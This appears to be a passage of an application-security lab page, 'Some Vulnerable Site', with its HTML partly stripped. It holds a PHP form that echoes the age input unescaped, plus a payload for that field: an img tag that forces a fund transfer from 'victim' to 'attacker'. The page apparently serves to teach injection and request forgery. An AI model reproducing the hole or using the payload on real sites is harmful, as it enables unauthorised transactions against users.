Some Vulnerable Site
Error : Age ".$age." is non-numeric
"; echo '
'; echo '
Name:
'; echo '
Age:
'; if ($errorAge) echo "
$errorTextAge
"; echo '
'; echo ''; } if (!isset($_POST['SubmitForm'])) { showForm(); } else { $errorAge = false; $name = isset($_POST['name']) ? trim($_POST['name']) : ''; $age = isset($_POST['age']) ? trim($_POST['age']) : ''; if (!is_numeric($age)) $errorAge = true; if ($errorAge) { showForm($errorAge,$age); } } ?>
Show XSRF script
Enter in Age field:
<img height=0 width=0 src=http://localhost/appsec/fundtransfer.php?toacc=attacker&fromacc=victim&amt=3500&submit=Submit>